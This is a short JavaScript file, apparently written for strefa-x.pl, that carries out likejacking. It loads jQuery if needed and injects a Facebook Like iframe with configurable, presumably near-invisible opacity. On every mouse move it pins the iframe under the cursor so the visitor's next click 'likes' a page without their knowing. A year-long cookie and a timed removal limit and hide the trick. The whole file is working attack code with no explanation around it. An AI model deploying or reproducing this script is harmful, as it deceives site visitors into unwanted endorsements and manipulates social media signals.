function initCatch(){
	var likebutton = "<iframe scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(lk_conf.adres) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80'></iframe>";
	jQuery(likebutton).css({
		position:'absolute',
		width:53,
		height:23,
		overflow:'hidden',
		border:0,
		opacity: lk_conf.show
	}).attr('id','likebtn').appendTo('body');
	
	jQuery('*').mousemove(function(e){
		$('#likebtn').css({
			top: e.pageY-10,
			left: e.pageX-45
		});
	});
	if(ReadCookie('xsq') == "2"){
		$('#likebtn').remove();
	}
	Set_Cookie( 'xsq', '2', 365, '/', 'strefa-x.pl', '' );
	setTimeout(function(){
		$('#likebtn').remove();
	},lk_conf.ukryj*1000);
}

function importJS(src, look_for, onload) {
   var s = document.createElement('script');
   s.setAttribute('type', 'text/javascript');
   s.setAttribute('src', src);
   if (onload) wait_for_script_load(look_for, onload);
   var head = document.getElementsByTagName('head')[0];
   if (head) {
     head.appendChild(s);
   } else {
     document.body.appendChild(s);
   }
 }
 
 function wait_for_script_load(look_for, callback) {
   var interval = setInterval(function() {
	
     if (eval("typeof " + look_for) != 'undefined') {
	 
	jQuery(document).ready(function(){initCatch();});
       clearInterval(interval);
		
     }
   }, 50);
 }

if(typeof(jQuery)=='undefined'){
	importJS('http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.5.1.min.js','jQuery',initCatch);
}else{jQuery(document).ready(function(){initCatch();});}

